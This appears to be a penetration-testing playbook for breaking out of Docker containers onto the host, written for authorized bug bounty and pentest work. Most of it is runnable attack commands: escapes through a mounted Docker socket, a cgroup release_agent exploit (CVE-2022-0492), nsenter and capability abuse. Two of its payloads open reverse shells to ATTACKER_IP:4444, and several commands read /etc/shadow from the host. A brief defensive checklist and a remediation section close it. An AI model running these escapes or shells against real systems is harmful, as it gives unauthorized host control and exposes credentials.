Docker Container Escape

When to Use

• When you have shell access inside a Docker container during a pentest
• When testing Kubernetes pods for breakout vulnerabilities
• When assessing container security configurations
• When testing for privilege escalation from container to host

Prerequisites

• Shell access (user or limited privilege) on the target system
• Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
• Understanding of the target OS privilege model and common misconfigurations
• Ability to transfer files or compile tools on the target

Workflow

Phase 1: Container Detection & Enumeration

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
hostname  # Container IDs look like hex strings: a1b2c3d4e5f6

# Automated detection
# amicontained — container introspection tool
./amicontained

# DeepCE — Docker Privilege Escalation scanner
./deepce.sh

# Check for mounted Docker socket (CRITICAL FINDING)
ls -la /var/run/docker.sock
ls -la /run/docker.sock

# Check capabilities
capsh --print
cat /proc/self/status | grep Cap

# Check if privileged
cat /proc/self/status | grep -i "seccomp\|cap"
# If CapEff: 0000003fffffffff → Privileged container!

# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|overlay"
df -h
cat /proc/mounts

Phase 2: Docker Socket Escape (Most Common)

# If /var/run/docker.sock is mounted — GAME OVER
# You can create a new privileged container with host filesystem mounted

# Method 1: Using Docker client inside container
# Install Docker CLI or use curl to API
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
  -v /:/hostfs alpine:latest chroot /hostfs bash

# Method 2: Using curl (when Docker CLI is not available)
# List running containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq

# Create privileged container with host access
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  http://localhost/containers/create \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "chroot /hostfs /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""],
    "HostConfig": {
      "Binds": ["/:/hostfs"],
      "Privileged": true
    }
  }'

# Start the container
curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/CONTAINER_ID/start

Phase 3: Privileged Container Escape

# If the container is running in --privileged mode:

# Method 1: Mount host filesystem
mkdir /tmp/hostfs
mount /dev/sda1 /tmp/hostfs
ls /tmp/hostfs/  # You now have host filesystem access!
chroot /tmp/hostfs bash

# Method 2: cgroup escape (CVE-2022-0492)
# Create a cgroup with a release_agent pointing to host
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/escape
echo 1 > $d/escape/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > $d/escape/cgroup.procs"

# Method 3: nsenter to host PID namespace
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# Requires: CAP_SYS_ADMIN or --pid=host

Phase 4: Capability-based Escape

# CAP_SYS_ADMIN — most versatile capability
# Allows mount, cgroup manipulation, etc.
# Use cgroup escape method above

# CAP_SYS_PTRACE — process tracing
# Inject into host processes visible from container
# Works when --pid=host is set

# CAP_NET_ADMIN — network manipulation
# ARP spoof, route manipulation
# Pivot to host network services

# CAP_DAC_READ_SEARCH — read any file
# Read host files through /proc/1/root/
cat /proc/1/root/etc/passwd
cat /proc/1/root/etc/shadow

🔵 Blue Team Detection

• Never mount Docker socket into containers
• Never use --privileged unless absolutely necessary
• Drop all capabilities: --cap-drop=ALL --cap-add=ONLY_NEEDED
• Use rootless containers: Run Docker daemon as non-root
• Seccomp profiles: Apply restrictive seccomp profiles
• AppArmor/SELinux: Enforce MAC policies on containers
• Read-only root fs: --read-only flag

Key Concepts

Concept	Description
Docker socket	Unix socket for Docker API — mounting it gives full Docker control
Privileged mode	Container with all capabilities and no seccomp — essentially root on host
cgroup escape	Using Linux cgroups release_agent mechanism to execute on host
nsenter	Enter namespaces of another process (e.g., PID 1 on host)
Capability	Fine-grained Linux permission — certain capabilities enable container escape

Output Format

Container Escape Report
========================
Container: web-app-prod (Docker 20.10.21)
Escape Method: Docker socket mounted inside container
Impact: Full host system compromise  

Evidence:
  $ ls -la /var/run/docker.sock
  srw-rw---- 1 root docker 0 /var/run/docker.sock
  
  $ docker -H unix:///var/run/docker.sock run --privileged -v /:/hostfs alpine cat /hostfs/etc/shadow
  root:$6$hash:19000:0:99999:7:::

Remediation:
1. Remove Docker socket mount from container configuration
2. Use rootless Docker mode
3. Apply seccomp and AppArmor profiles

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• HackTricks: Docker Breakout
• Docker: Security Best Practices
• DeepCE: Container Escape Scanner